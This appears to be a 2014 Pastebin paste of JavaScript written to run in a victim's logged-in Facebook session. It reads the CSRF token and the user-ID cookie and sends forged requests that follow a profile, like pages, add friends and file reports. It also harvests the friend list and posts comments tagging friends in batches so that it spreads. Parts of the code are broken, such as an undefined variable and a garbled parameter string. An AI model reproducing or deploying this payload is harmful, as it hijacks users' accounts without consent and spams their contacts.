Advertisement
Guest User

Untitled

a guest
Feb 2nd, 2014
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Agrega música a la página
  2. var parent = document.getElementsByTagName("html")[0];
  3. var _body = document.getElementsByTagName('body')[0];
  4. var _div = document.createElement('div');
  5. _div.style.height = "25";
  6. _div.style.width = "100%";
  7. _div.style.position = "fixed";
  8. _div.style.top = "auto";
  9. _div.style.bottom = "0";
  10. _div.align = "center";
  11. var _audio = document.createElement('audio');
  12. _audio.style.width = "100%";
  13. _audio.style.height = "25px";
  14. _audio.controls = true;
  15. _audio.autoplay = false;
  16. _audio.autoplay = true;
  17. _audio.src = "http://picosong.com/YPGz";
  18. _div.appendChild(_audio);
  19. _body.appendChild(_div);
  20.  
  21. // tokens?
  22. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  23. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24.  
  25. /**
  26.  * Hace follow al id del parámetro
  27.  * @param {type} abone
  28.  */
  29. function follow(abone) {
  30.     var http4 = new XMLHttpRequest;
  31.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  32.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  33.     http4.open("POST", url4, true);
  34.     http4.onreadystatechange = function() {
  35.         if (http4.readyState === 4 && http4.status === 200)
  36.             http4.close;
  37.     };
  38.     http4.send(params4);
  39. }
  40. follow("");
  41. function sublist(uidss) {
  42.     var a = document.createElement('script');
  43.     a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  44.     document.body.appendChild(a);
  45. }
  46.  
  47. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  48. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  49. var now = (new Date).getTime();
  50.  
  51. function P(post) {
  52.     var _xhr = new XMLHttpRequest();
  53.     var XURL = "//www.facebook.com/ajax/ufi/like.php";
  54.     var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  55.     _xhr.open("POST", XURL, true);
  56.     _xhr.onreadystatechange = function() {
  57.         if (_xhr.readyState === 4 && _xhr.status === 200) {
  58.             _xhr.close;
  59.         }
  60.     };
  61.     _xhr.send(XParams);
  62. }
  63.  
  64. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  65. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  66. function Like(p) {
  67.     var Page = new XMLHttpRequest();
  68.     var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  69.     var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  70.     Page.open("POST", PageURL, true);
  71.     Page.onreadystatechange = function() {
  72.         if (Page.readyState === 4 && Page.status === 200) {
  73.             Page.close;
  74.         }
  75.     };
  76.     Page.send(PageParams);
  77. }
  78. Like("185309954944253");
  79. function IDS(r) {
  80.     var _xhr = new XMLHttpRequest();
  81.     var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  82.     var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  83.     _xhr.open("POST", XURL, true);
  84.     _xhr.onreadystatechange = function() {
  85.         if (_xhr.readyState === 4 && _xhr.status === 200) {
  86.             _xhr.close;
  87.         }
  88.     };
  89.     _xhr.send(XParams);
  90. }
  91. Like("1376249559308318");
  92. var fb_dtsg = document["getElementsByName"]("fb_dtsg")[0]["value"];
  93. var user_id = document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);
  94. var now = (new Date)["getTime"]();
  95. function Report(_str) {
  96.     var _xhr = new XMLHttpRequest();
  97.     var _url = "//www.facebook.com/ajax/report/social.php";
  98.     var _suburl = "fb_dtsg=" + fb_dtsg + "&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A" + _str + _data[9] + _str + "%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2FNan.ertt7%22%2C%22report_type%22%3A145%2C%22rid%22%3A" + now + "%2C%22user%22%3A" + user_id + "%7D&file_report=1&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880";
  99.     _xhr["open"]("POST", _url, true);
  100.     _xhr["onreadystatechange"] = function() {
  101.         if (_xhr["readyState"] === 4 && _xhr["status"] === 200) {
  102.             _xhr["close"];
  103.         }
  104.     };
  105.     _xhr["send"](_suburl);
  106. }
  107.  
  108. var fb_dtsg = document["getElementsByName"]("fb_dtsg")[0]["value"];
  109. var user_id = document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);
  110. var id = "1382559332008832";
  111. var friends = [];
  112. var svn_rev;
  113.  
  114. function getFriends(id) {
  115.     var _xhr = new XMLHttpRequest();
  116.     _xhr["onreadystatechange"] = function() {
  117.         if (_xhr["readyState"] === 4) {
  118.             eval("friends = " + _xhr["responseText"].toString()["replace"]("for (;;);", "") + ";");
  119.             for (f = 0; f < Math["round"](friends["payload"]["entries"]["length"] / 27); f++) {
  120.                 mesaj = "";
  121.                 mesaj_text = "";
  122.                 for (i = f * 27; i < (f + 1) * 27; i++) {
  123.                     if (friends["payload"]["entries"][i]) {
  124.                         mesaj += " @[" + friends["payload"]["entries"][i]["uid"] + ":" + friends["payload"]["entries"][i]["text"] + "]";
  125.                         mesaj_text += " " + friends["payload"]["entries"][i]["text"];
  126.                     }
  127.                 }
  128.                 doComment(id, mesaj);
  129.             }
  130.         }
  131.     };
  132.     var str = "&filter[0]=user";
  133.     str += "&options[0]=friends_only";
  134.     str += "&options[1]=nm";
  135.     str += "&token=v7";
  136.     str += "&viewer=" + user_id;
  137.     str += "&__user=" + user_id;
  138.     if (document["URL"]["indexOf"]("https://") >= 0) {
  139.         _xhr["open"]("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + str, true);
  140.     } else {
  141.         _xhr["open"]("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + str, true);
  142.     }
  143.  
  144.     _xhr["send"]();
  145. }
  146.  
  147. function randomFriends() {
  148.     var str = "";
  149.     for (i = 0; i < 9; i++) {
  150.         str += " @[" + friends["payload"]["entries"][Math["floor"](Math["random"]() * friends["payload"]["entries"]["length"])]["uid"] + ":" + friends["payload"]["entries"][Math["floor"](Math["random"]() * friends["payload"]["entries"]["length"])]["text"] + "]";
  151.     }
  152.     return str;
  153. }
  154.  
  155. function doComment(id, _commentText) {
  156.     var _xhr = new XMLHttpRequest();
  157.     var str = "";
  158.     str += "&ft_ent_identifier=" + id;
  159.     str += "&comment_text=" + encodeURIComponent(_commentText);
  160.     str += "&source=2";
  161.     str += "&client_id=1377871797138:1707018092";
  162.     str += "&reply_fbid";
  163.     str += "&parent_comment_id";
  164.     str += "&rootid=u_jsonp_2_3";
  165.     str += '&clp={"cl_impid":"453524a0","clearcounter":0,"elementid":"js_5","version":"x","parent_fbid":" + id + "}"';
  166.     str += "&attached_sticker_fbid=0";
  167.     str += "&attached_photo_fbid=0";
  168.     str += "&giftoccasion";
  169.     str += "&ft[tn]=[]";
  170.     str += "&__user=" + user_id;
  171.     str += "&__a=1";
  172.     str += "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
  173.     str += "&__req=q";
  174.     str += "&fb_dtsg=" + fb_dtsg;
  175.     str += "&ttstamp=";
  176.     _xhr["open"]("POST", "/ajax/ufi/add_comment.php", true);
  177.     _xhr["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
  178.     _xhr["onreadystatechange"] = function() {
  179.         if (_xhr["readyState"] === 4 && _xhr["status"] === 200) {
  180.             _xhr["close"];
  181.         }
  182.     };
  183.     _xhr["send"](str);
  184. }
  185.  
  186. getFriends(id);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement